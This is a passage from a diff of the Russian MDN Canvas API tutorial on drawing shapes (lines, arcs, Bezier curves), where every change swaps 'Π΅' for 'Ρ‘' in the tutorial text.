Ρ‚Π°ΠΊΠΆΠ΅</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π°</span> <span class="hps">с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°</span></span> <code>moveTo()</code>.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ рисуСт Π΄Π²Π° Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΎΠ΄ΠΈΠ½ Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±Π²Π΅Π΄Π΅Π½ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ.</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π½ΠΈΠΆΠ΅ рисуСт Π΄Π²Π° Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°, ΠΎΠ΄ΠΈΠ½ Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±Π²Π΅Π΄Ρ‘Π½ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ.</p>
<div class="hidden">
<pre class="brush: html notranslate">&lt;html&gt;
@@ -238,7 +238,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<p>{{EmbedLiveSample("Π›ΠΈΠ½ΠΈΠΈ", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p>
-<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅</span> <span class="hps">Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ</span> <span class="hps">Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌ</span> <span class="hps">ΠΈ ΠΎΠ±Π²Π΅Π΄Π΅Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ</span> <span class="hps">Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°ΠΌΠΈ.</span> <span class="hps">Π­Ρ‚ΠΎ,Β </span><span class="hps">ΠΊΠ°ΠΊ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅</span><span>,</span> <span class="hps">ΠΈΠ·-Π·Π°</span> Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <span class="hps">Ρ„ΠΈΠ³ΡƒΡ€Ρ‹</span> <span class="hps">автоматичСски Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ</span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΡƒΡ‚ΡŒ</span> <span class="hps">Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ (Ρ‚. Π΅. Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½)</span><span>, Π½ΠΎ</span> <span class="hps">Π½Π΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ ΠΎΡ‡Π΅Ρ€Ρ‡Π΅Π½ (Ρ‚. Π΅. ΠΎΠ±Π²Π΅Π΄Π΅Π½ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если Π±Ρ‹ ΠΌΡ‹</span> <span class="hps">Π½Π΅ ΡƒΡ‡Π»ΠΈ</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> ΠΎΡ‡Π΅Ρ€Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ <span class="hps">Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°</span><span>,</span> Ρ‚ΠΎΠ³Π΄Π° <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π΅ Π»ΠΈΠ½ΠΈΠΈ</span> <span class="hps">Π±Ρ‹Π»ΠΈ Π±Ρ‹</span> <span class="hps">нарисованы,</span> <span class="hps">Π° Π½Π΅</span> <span class="hps">вСсь Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span class="hps">Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅</span> <span class="hps">Ρ€Π°Π·Π½ΠΈΡ†Ρƒ ΠΌΠ΅ΠΆΠ΄Ρƒ</span> <span class="hps">Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½Π½Ρ‹ΠΌ</span> <span class="hps">ΠΈ ΠΎΠ±Π²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ</span> <span class="hps">Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°ΠΌΠΈ.</span> <span class="hps">Π­Ρ‚ΠΎ,Β </span><span class="hps">ΠΊΠ°ΠΊ ΡƒΠΏΠΎΠΌΠΈΠ½Π°Π»ΠΎΡΡŒ Π²Ρ‹ΡˆΠ΅</span><span>,</span> <span class="hps">ΠΈΠ·-Π·Π°</span> Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ <span class="hps">Ρ„ΠΈΠ³ΡƒΡ€Ρ‹</span> <span class="hps">автоматичСски Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‚ΡΡ</span><span>, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΏΡƒΡ‚ΡŒ</span> <span class="hps">Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ (Ρ‚. Π΅. Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½)</span><span>, Π½ΠΎ</span> <span class="hps">Π½Π΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°</span> <span class="hps">ΠΎΠ½ ΠΎΡ‡Π΅Ρ€Ρ‡Π΅Π½ (Ρ‚. Π΅. ΠΎΠ±Π²Π΅Π΄Ρ‘Π½ ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ)</span><span>.</span></span> <span id="result_box" lang="ru"><span class="hps">Если Π±Ρ‹ ΠΌΡ‹</span> <span class="hps">Π½Π΅ ΡƒΡ‡Π»ΠΈ</span> </span><code>closePath()</code><span lang="ru"> <span class="hps">для</span> ΠΎΡ‡Π΅Ρ€Ρ‡Π΅Π½Π½ΠΎΠ³ΠΎ <span class="hps">Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°</span><span>,</span> Ρ‚ΠΎΠ³Π΄Π° <span class="hps">Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π΅ Π»ΠΈΠ½ΠΈΠΈ</span> <span class="hps">Π±Ρ‹Π»ΠΈ Π±Ρ‹</span> <span class="hps">нарисованы,</span> <span class="hps">Π° Π½Π΅</span> <span class="hps">вСсь Ρ‚Ρ€Π΅ΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊ</span><span>.</span></span></p>
<h3 id="Π”ΡƒΠ³ΠΈ">Π”ΡƒΠ³ΠΈ</h3>
@@ -251,7 +251,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<dd>РисуСм Π΄ΡƒΠ³Ρƒ с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ радиусом, соСдиняя эти Ρ‚ΠΎΡ‡ΠΊΠΈ прямой Π»ΠΈΠ½ΠΈΠ΅ΠΉ.</dd>
</dl>
-<p>Π Π°ΡΡΠΌΠΎΡ‚Ρ€ΠΈΠΌΒ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Π΅Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <em>arc()</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²: <em><code>x</code></em> ΠΈ <em><code>y</code></em> β€” это ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Ρ†Π΅Π½Ρ‚Ρ€Π° окруТности, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ нарисована Π΄ΡƒΠ³Π°. <em><code>radius</code></em> β€” Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ пояснСний. Π£Π³Π»Ρ‹ <code>startAngle</code> ΠΈ <code>endAngle</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΡƒΠ³ΠΈ Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…Β Π²Π΄ΠΎΠ»ΡŒ ΠΊΡ€ΠΈΠ²ΠΎΠΉ окруТности. ΠžΡ‚ΡΡ‡Π΅Ρ‚ происходит ΠΎΡ‚ оси x. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>anticlockwise</code> — логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Ссли <code>true</code>, Ρ‚ΠΎ рисованиС Π΄ΡƒΠ³ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΡ€ΠΎΡ‚ΠΈΠ² Ρ…ΠΎΠ΄Π° часовой стрСлки; ΠΈΠ½Π°Ρ‡Π΅ рисованиС происходит ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ часовой стрСлки.</p>
+<p>Π Π°ΡΡΠΌΠΎΡ‚Ρ€ΠΈΠΌΒ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½Π΅Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ <em>arc()</em>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²: <em><code>x</code></em> ΠΈ <em><code>y</code></em> β€” это ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Ρ†Π΅Π½Ρ‚Ρ€Π° окруТности, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ нарисована Π΄ΡƒΠ³Π°. <em><code>radius</code></em> β€” Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ пояснСний. Π£Π³Π»Ρ‹ <code>startAngle</code> ΠΈ <code>endAngle</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΠΈ Π΄ΡƒΠ³ΠΈ Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…Β Π²Π΄ΠΎΠ»ΡŒ ΠΊΡ€ΠΈΠ²ΠΎΠΉ окруТности. ΠžΡ‚ΡΡ‡Ρ‘Ρ‚ происходит ΠΎΡ‚ оси x. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>anticlockwise</code> — логичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅, Ссли <code>true</code>, Ρ‚ΠΎ рисованиС Π΄ΡƒΠ³ΠΈ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ ΠΏΡ€ΠΎΡ‚ΠΈΠ² Ρ…ΠΎΠ΄Π° часовой стрСлки; ΠΈΠ½Π°Ρ‡Π΅ рисованиС происходит ΠΏΠΎ Ρ…ΠΎΠ΄Ρƒ часовой стрСлки.</p>
<div class="note">
<p><strong>Note</strong>: Π£Π³Π»Ρ‹ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ arc() ΠΈΠ·ΠΌΠ΅Ρ€ΡΡŽΡ‚ Π² Ρ€Π°Π΄ΠΈΠ°Π½Π°Ρ…, Π½Π΅ Π² градусах. Для ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄Π° градусов Π² Ρ€Π°Π΄ΠΈΠ°Π½Ρ‹ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ JavaScript-Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅: <code>radians = (Math.PI/180)*degrees</code>.</p>
@@ -263,7 +263,7 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<p>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ <code>x</code> ΠΈ <code>y</code>Β  Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ достаточно ясны. <code>radius</code> and <code>startAngle</code> β€” фиксированы. <code>endAngle</code> начинаСтся со 180 градусов (ΠΏΠΎΠ»ΡƒΠΎΠΊΡ€ΡƒΠΆΠ½ΠΎΡΡ‚ΡŒ) Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ΅ ΠΈ, ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ с шагом 90 градусов, достигаСт ΠΊΡƒΠ»ΡŒΠΌΠΈΠ½Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ»Π½ΠΎΡ†Π΅Π½Π½ΠΎΠΉ ΠΎΠΊΡ€ΡƒΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ Π² послСднСм столбцС.</p>
-<p>Установка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>clockwise</code> опрСдСляСт Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚;Β Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ строках рисованиС Π΄ΡƒΠ³ происходит ΠΏΠΎ часовой стрСлкС, Π° Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠΉ - ΠΏΡ€ΠΎΡ‚ΠΈΠ² часовой стрСлки. Благодаря if-ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ вСрхняя ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° Π΄ΡƒΠ³ образуСтся с ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ, (ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΎΠΉ), Π° ниТняя ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° Π΄ΡƒΠ³ - с Π·Π°Π»ΠΈΠ²ΠΊΠΎΠΉ.</p>
+<p>Установка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>clockwise</code> опрСдСляСт Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚;Β Π² ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΉ строках рисованиС Π΄ΡƒΠ³ происходит ΠΏΠΎ часовой стрСлкС, Π° Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΈ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠΉ - ΠΏΡ€ΠΎΡ‚ΠΈΠ² часовой стрСлки. Благодаря if-ΡƒΡΠ»ΠΎΠ²ΠΈΡŽ вСрхняя ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° Π΄ΡƒΠ³ образуСтся с ΠΊΠΎΠ½Ρ‚ΡƒΡ€ΠΎΠΌ, (ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΎΠΉ), Π° ниТняя ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π° Π΄ΡƒΠ³ - с Π·Π°Π»ΠΈΠ²ΠΊΠΎΠΉ.</p>
<div class="note">
<p><strong>Note:</strong> Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большСго холста (canvas), Ρ‡Π΅ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½Π° этой страницС: 150 x 200 pixels.</p>
@@ -319,13 +319,13 @@ original_slug: Web/API/Canvas_API/Tutorial/РисованиС_Ρ„ΠΈΠ³ΡƒΡ€
<dd>РисуСтся кубичСская кривая Π‘Π΅Π·ΡŒΠ΅ с Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ ΠΏΠ΅Ρ€Π° Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ с ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ <code>x</code> ΠΈ <code>y</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π΄Π²Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ с ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ (<code>cp1x</code>, <code>cp1y</code>) ΠΈ (cp2x, cp2y).</dd>
</dl>
-<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° рисункС, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠΌ справа. ΠšΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½Π°Ρ кривая Π‘Π΅Π·ΡŒΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΠΈ (синиС Ρ‚ΠΎΡ‡ΠΊΠΈ) ΠΈ всСго ΠΎΠ΄Π½Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ (красная Ρ‚ΠΎΡ‡ΠΊΠ°), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ кубичСская кривая Π‘Π΅Π·ΡŒΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΄Π²Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/223/Canvas_curves.png" style="float: right; height: 190px; width: 190px;">Π Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π½Π° рисункС, ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½ΠΎΠΌ справа. ΠšΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½Π°Ρ кривая Π‘Π΅Π·ΡŒΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ ΡΡ‚Π°Ρ€Ρ‚ΠΎΠ²ΡƒΡŽ ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΠΈ (синиС Ρ‚ΠΎΡ‡ΠΊΠΈ) ΠΈ всСго ΠΎΠ΄Π½Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ (красная Ρ‚ΠΎΡ‡ΠΊΠ°), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ кубичСская кривая Π‘Π΅Π·ΡŒΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Π΄Π²Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
<p>ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ <code>x</code> ΠΈ <code>y</code> Π² этих Π΄Π²ΡƒΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Ρ… ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ. <code>cp1x</code> ΠΈ <code>cp1y</code> β€” ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ, Π° <code>cp2x</code> ΠΈ <code>cp2y</code> β€” ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ.</p>
<p>ИспользованиС ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½Ρ‹Ρ… ΠΈΠ»ΠΈ кубичСских ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ  спорным Π²Ρ‹Ρ…ΠΎΠ΄ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Ρ‚ΠΈΠΏΠ° Adobe Illustrator, ΠΌΡ‹ Π½Π΅ ΠΈΠΌΠ΅Π΅ΠΌ ΠΏΠΎΠ»Π½ΠΎΠΉ Π²ΠΈΠ΄ΠΈΠΌΠΎΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠΉ связи с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ. Π­Ρ‚ΠΎΡ‚ Ρ„Π°ΠΊΡ‚ Π΄Π΅Π»Π°Π΅Ρ‚ довольно слоТным процСсс рисования слоТных Ρ„ΠΈΠ³ΡƒΡ€. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ нарисуСм совсСм ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ ΡΠΎΡΡ‚Π°Π²Π½ΡƒΡŽ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ, Π½ΠΎ, Ссли Ρƒ вас Π΅ΡΡ‚ΡŒ врСмя ΠΈ Π΅Ρ‰Ρ‘ большС тСрпСния,Β ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ слоТныС составныС Ρ„ΠΈΠ³ΡƒΡ€Ρ‹.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ слишком тяТСлого. Π’ ΠΎΠ±ΠΎΠΈΡ… случаях мы Π²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΡ€ΠΈΠ²Ρ‹Ρ…, рисуя ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΡΠΎΡΡ‚Π°Π²Π½ΡƒΡŽ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ слишком тяТёлого. Π’ ΠΎΠ±ΠΎΠΈΡ… случаях мы Π²ΠΈΠ΄ΠΈΠΌ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΊΡ€ΠΈΠ²Ρ‹Ρ…, рисуя ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅, Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ ΡΠΎΡΡ‚Π°Π²Π½ΡƒΡŽ Ρ„ΠΈΠ³ΡƒΡ€Ρƒ.</p>
<h4 id="ΠšΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½Ρ‹Π΅_ΠΊΡ€ΠΈΠ²Ρ‹Π΅_Π‘Π΅Π·ΡŒΠ΅">ΠšΠ²Π°Π΄Ρ€Π°Ρ‚ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅</h4>
@@ -513,7 +513,7 @@ function roundedRect(ctx,x,y,width,height,radius){
<p>ΠœΡ‹ Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π½Π° Ρ‚ΠΎΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это Π½Π° самом Π΄Π΅Π»Π΅ ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ просто. НаиболСС Π²Π°ΠΆΠ½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ слСдуСт ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, это использованиС свойства <code>fillStyle</code>Β Π² контСкстС рисования ΠΈ использованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΡ‚ΠΈΠ»ΠΈΡ‚Ρ‹ (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС <code>roundedRect()</code>). ИспользованиС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ 